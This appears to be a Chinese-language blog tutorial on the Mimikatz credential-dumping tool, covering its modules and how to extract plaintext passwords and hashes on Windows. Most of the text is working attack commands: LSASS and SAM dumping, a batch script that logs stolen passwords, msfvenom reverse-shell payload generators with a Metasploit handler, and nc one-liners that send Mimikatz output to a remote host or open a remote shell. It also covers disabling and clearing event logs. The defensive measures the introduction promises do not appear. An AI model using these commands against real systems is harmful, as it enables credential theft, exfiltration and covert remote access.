Mimikatz

简介

Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取 WindowsXP-2012(2016 做了安全防护,需要修改注册表值,重启后生效,可以获取明文密码)等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,从早期 1.0 版本到现在的 2.1.1 20180205 版本,其功能得到了很大的提升和扩展。

Mimikatz 最新版本一共三个文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分为 Win32 位(多了一个 mimilove.exe 文件)和 X64 位。通过它们可以提升进程权限、注入进程读取进程内存,可以直接从 Lsass 中获取当前登录过系统用户的账号明文密码。Lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登录策略,通常我们在登录系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而 Mimikatz 正是通过对 Lsass 的逆算获取到明文密码!

本文以 Mimikatz 最新版为例,介绍了 Mimikatz 的参数、获取密码以及伪造黄金票据获取域控密码等用户,利用 ms14-068 结合 Mimikatz 获取域控密码等,最后文中还给出了相应的防范方法,对网络攻防都具有一定的借鉴意义。

Mimikatz参数

本次测试使用 Win64 版本,将程序解压后,通过 cmd 进入当前目录,执行 Mimikatz 程序,如图1所示,随便输入即可获取帮助信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mimikatz # mimakatz
ERROR mimikatz_doLocal ; "mimakatz" command of "standard" module not found !

Module : standard
Full name : Standard module
Description : Basic commands (does not require module name)

exit - Quit mimikatz //退出
cls - Clear screen (doesn't work with redirections, like PsExec) //清屏
answer - Answer to the Ultimate Question of Life, the Universe, and Everything //对生命,宇宙和万物的终极问题的回答
coffee - Please, make me a coffee! //显示coffee图案
sleep - Sleep an amount of milliseconds 默认睡眠1000ms,后跟时间参数
log - Log mimikatz input/output to file //记录 Mimikatz 所有的输入和输出到当前目录下的 log.txt 文件
base64 - Switch file input/output base64 //将输入/输出转换成 base64 编码
version - Display some version informations //查看 Mimikatz 的版本
cd - Change or display current directory //切换或者显示当前目录
localtime - Displays system local date and time (OJ command) //显示系统当前时间和 UTC 时间
hostname - Displays system local hostname //显示主机的名称。

使用模块

输入“::”显示其支持模块信息。
standard:标准模块,基本命令,不需要模块信息。
crypto:加密模块,其后跟以下参数,其使用命令为 crypto:: 参数名,例如 crypto::providers。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mimikatz # crypto::providers

CryptoAPI providers :
0. RSA_FULL ( 1) - Microsoft Base Cryptographic Provider v1.0
1. DSS_DH (13) - Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
2. DSS ( 3) - Microsoft Base DSS Cryptographic Provider
3. RSA_FULL ( 1) H - Microsoft Base Smart Card Crypto Provider
4. DH_SCHANNEL (18) - Microsoft DH SChannel Cryptographic Provider
5. RSA_FULL ( 1) - Microsoft Enhanced Cryptographic Provider v1.0
6. DSS_DH (13) - Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
7. RSA_AES (24) - Microsoft Enhanced RSA and AES Cryptographic Provider
8. RSA_SCHANNEL (12) - Microsoft RSA SChannel Cryptographic Provider
9. RSA_FULL ( 1) - Microsoft Strong Cryptographic Provider

CryptoAPI provider types:
0. RSA_FULL ( 1) - RSA Full (Signature and Key Exchange)
1. DSS ( 3) - DSS Signature
2. RSA_SCHANNEL (12) - RSA SChannel
3. DSS_DH (13) - DSS Signature with Diffie-Hellman Key Exchange
4. DH_SCHANNEL (18) - Diffie-Hellman SChannel
5. RSA_AES (24) - RSA Full and AES

CNG providers :
0. Microsoft Key Protection Provider
1. Microsoft Passport Key Storage Provider
2. Microsoft Platform Crypto Provider
3. Microsoft Primitive Provider
4. Microsoft Smart Card Key Storage Provider
5. Microsoft Software Key Storage Provider
6. Microsoft SSL Protocol Provider
7. Windows Client Key Protection Provider

参考加密算法提供类型及名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Module :        crypto
Full name : Crypto Module

providers - List cryptographic providers //该命令列出所有 CryptoAPI 提供者。
stores - List cryptographic stores //列出系统存储中的逻辑存储,crypto::stores /systemstore:local_machine。
certificates - List (or export) certificates //显示或者导出证书。
keys - List (or export) keys containers //列出或者显示密钥。
sc - List smartcard readers //此命令列出系统上的智能卡/令牌读取器或将其移出系统;当 CSP 可用时,它会尝试在智能卡上列出密钥。
hash - Hash a password with optional //显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值。username
system - Describe a Windows System Certificate (file, TODO:registry or hive) //描述 Windows 系统证书(注册表或者 hive 文件)。
scauth - Create a authentication certitifate (smartcard like) from a CA //从 CA 创建一个认证(智能卡等)
certtohw - Try to export a software CA to a crypto (virtual)hardware //尝试将软件 CA 导出到加密(虚拟)硬件中。
capi - [experimental] Patch CryptoAPI layer for easy export //修补 CryptoAPI 程序方便导出。
cng - [experimental] Patch CNG service for easy export //修补 CNG 服务方便导出。
extract - [experimental] Extract keys from CAPI RSA/AES provider //从 CAPI RSA/AES 提供者获取密钥。

sekurlsa 枚举用户凭证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
           msv  -  Lists LM & NTLM credentials //获取 LM & NTLM 凭证,可以获取明文密码。
wdigest - Lists WDigest credentials //获取 WDigest 凭证,可以获取明文密码
kerberos - Lists Kerberos credentials //获取 Kerberos 凭证。
tspkg - Lists TsPkg credentials //获取 TsPkg 凭证。
livessp - Lists LiveSSP credentials //获取LiveSSP 凭证。
ssp - Lists SSP credentials //获取凭证。
logonPasswords - Lists all available providers credentials //获登录用户信息及密码,如果是在系统权限或者 psexec 进入的系统权限下,直接使用该命令,而无需运行 privilege::debug,否则需要运行该命令。
process - Switch (or reinit) to LSASS process context //切换或者恢复到 lsass 初始状态。
minidump - Switch (or reinit) to LSASS minidump context //切换或者恢复到 minidump 初始状态。
pth - Pass-the-hash //Pass-the-hash
krbtgt - krbtgt! //krbtgt!
dpapisystem - DPAPI_SYSTEM secret //显示DPAPI_SYSTEM密码值。
trust - Antisocial //显示 Kerberos 票据。
backupkeys - Preferred Backup Master keys //首选备份主密钥
tickets - List Kerberos tickets //列出Kerberos票据
ekeys - List Kerberos Encryption Keys //显示 Kerberos 加密密钥。
dpapi - List Cached MasterKeys //显示内存中的 MasterKeys
credman - List Credentials Manager //显示管理员凭证。

kerberos:Kerberos 包模块

1
2
3
4
5
6
7
8
9
   debug  -  Ask debug privilege  //请求调试权限。
driver - Ask load driver privilege //请求装载驱动权限。
security - Ask security privilege //请求装载驱动权限。
tcb - Ask tcb privilege //请求 tcb 权限。
backup - Ask backup privilege //请求 backup 权限。
restore - Ask restore privilege //请求恢复权限。
sysenv - Ask system environment privilege //请求系统环境权限。
id - Ask a privilege by its id //请求 id 特权,参数后跟具体的 id 值,例如请求特权 8:privilege::id 8。
name - Ask a privilege by its name //请求指定名称的权限

process:进程模块

1
2
3
4
5
6
7
8
9
   list  -  List process //列出进程
exports - List exports //导出进程
imports - List imports //导入进程
start - Start a process //开始一个进程,后跟进程名称
stop - Terminate a process //停止一个进程,process::stop /pid:1692(结束 pid 为1692的进程)。
suspend - Suspend a process //挂起一个进程。
resume - Resume a process //恢复一个进程。
run - Run! //运行一个进程。
runp -

service:Service module

1
2
3
4
5
6
7
8
9
10
service::start:开始服务。
service::remove:移除服务。
service::stop:停止服务。
service::suspend:暂停服务。
service::resume:恢复服务。
service::preshutdown:预关闭服务。
service::shutdown:关闭服务。
service::list:列出服务。
service::+ - 安装 Mimikatz 服务。
service::- - 卸载 Mimikatz 服务。

lsadump:LsaDump module
Lsadump::sam:该命令转储安全帐户管理器(SAM)数据库,它包含用户密码的 NTLM,有时包含 LM 哈希。

在线命令提升模式获取:

1
2
3
4
privilege::debug
token::whoami
token::elevate
lsadump::sam

离线获取,通过以下方式备份 SYSTEM&SAM 配置:

1
2
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

或者使用 Volue Shadow Copy / BootCD 来备份这些文件:

1
2
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM

然后执行 mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv 即可获取。

可在线进行破解查询。

1
2
3
4
5
6
7
8
9
Lsadump::secrets:从 registry 或者 hives 获取保存的密码凭据,可以直接获取明文密码。
Lsadump::cache:获取内存中的密码值。
Lsadump::lsa:从 lsa 服务器获取密码,lsadump::lsa /inject /name:krbtgt。
Lsadump::trust:Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata。
Lsadump::dcsync:Ask a DC to synchronize an object。
Lsadump::dcshadow:They told me I could be anything I wanted, so I became a domain controller。
Lsadump::setntlm:Ask a server to set a new password/ntlm for one user。
Lsadump::changentlm:Ask a server to set a new password/ntlm for one user。
Lsadump::netsync:Ask a DC to send current and previous NTLM hash of DC/SRV/WKS。

ts 终端服务模块

1
2
ts::sessions:显示当前的会话。
ts::multirdp:允许多个用户使用 rdp,安装 rdp 补丁。

event 事件模块
event::drop:启用事件补丁服务,不再记录新产生的事件。
event::clear:清除时间日志

misc 杂项模块,打开 cmd、regedit、taskmgr、ncroutemon、detours、wifi、addsid、memssp、skeleton 等。

token:令牌操作模块

1
2
3
4
5
token::whoami:显示当前的身份。
token::list:列出系统所有的令牌。
token::elevate:冒充令牌。
token::run:运行。
token::revert:恢复到进程令牌。

vault:Windows 信任/凭证模块,Vault::list 列出 Windows 信任/凭证。

net 显示 user、group、alias、session、wsession、tod、stats、share、serverinfo 等信息。

Mimikatz 获取密码

旧版本配合 psexec 密码获取方法及命令

1
2
3
4
5
6
7
到 tools 目录,psexec \127.0.0.1 cmd
执行 mimikatz
执行 privilege::debug
执行 inject::process lsass.exe sekurlsa.dll
执行 @getLogonPasswords
widget 就是密码
exit 退出,不要直接关闭否则系统会崩溃

bat 脚本获取法:
创建 get.bat 脚本

1
2
3
@echo off
mimikatz.exe <command.txt >pass.txt
exit

创建 command.txt 文件

1
2
3
4
privilege::debug
inject::process lsass.exe sekurlsa.dll
@getLogonPasswords
Exit

执行 get.bat 文件即可获取密码,pass.txt 记录的即为获取的密码,get.bat、command.txt 和 mimikatz.exe 在同一个文件夹下。

Mimikatz 2.0 以上版本获取系统明文密码

sekurlsa 获取

1
2
privilege::debug
sekurlsa::logonpasswords

Lsadump 获取密码
Lsadump::secrets

MSF 下 Mimikatz 获取密码

需要生成一个反弹的可执行程序或者通过漏洞直接获取一个反弹的 shell。下面是通过 msfvenom 生成 shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

在架构中比较好用的有两个cmd/powershell_base64和x86/shikata_ga_nai,下面生成一个实例(反弹的服务器 IP 为 192.168.126.142):

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe

运行 msfconsole 并设置:

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.106.133
set lport 4444
run或者exploit

在测试计算机上运行 exe 文件。
在 msf 获取反弹的 shell,如下:

getuid 获取当前帐号为系统权限,则进行后续操作,否则通过 ps 命令去获取小于 1000 以内的 pid,执行 migrate pid 来提升权限后,继续执行后续步骤。
load mimikatz //启动

运行 mimikatz 下面的凭证获取命令:

kerberos 获取网络认证协议凭证,其中可能会有明文密码
msv 获取msv 凭证,其中包含LM和NTLM哈希密码值
wdigest 获取wdigest (摘要式身份验证)凭证,其中可能会有明文密码
可以执行 hashdump 来导出系统的哈希密码值。

Mimikatz 使用技巧

获取并记录密码到 mimikatz.log 文件

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir

输出到本地 log.txt 文件

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt

记录新密码到文件

有时候获取的哈希是旧的,这时需要记录新的登录哈希值,可以使用以下命令来记录,记录的结果在 c:\windows\system32\mimilsa.log。

1
2
3
mimikatz.exe
privilege::debug
misc::memssp

通过 nc 命令将 mimikatz 执行结果传输到远程

取结果服务器(192.168.126.142)执行监听命令
nc -vlp 44444

在想获取密码的服务器上执行

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444

通过 nc 命令远程执行 mimikatz

在黑客反弹计算机(192.168.126.130)上执行 nc.exe -vlp 4444;
在被攻击计算机(192.168.126.142)上执行 nc.exe -vv 192.168.126.142 4444 -e mimikatz.exe。
接着就会反弹到 192.168.126.130 的 4444 端口,出来一个 cmd 的窗口,可以在该窗口进行密码获取.

Franci4 wechat
订阅我的博客通过扫描我的公众聊天帐户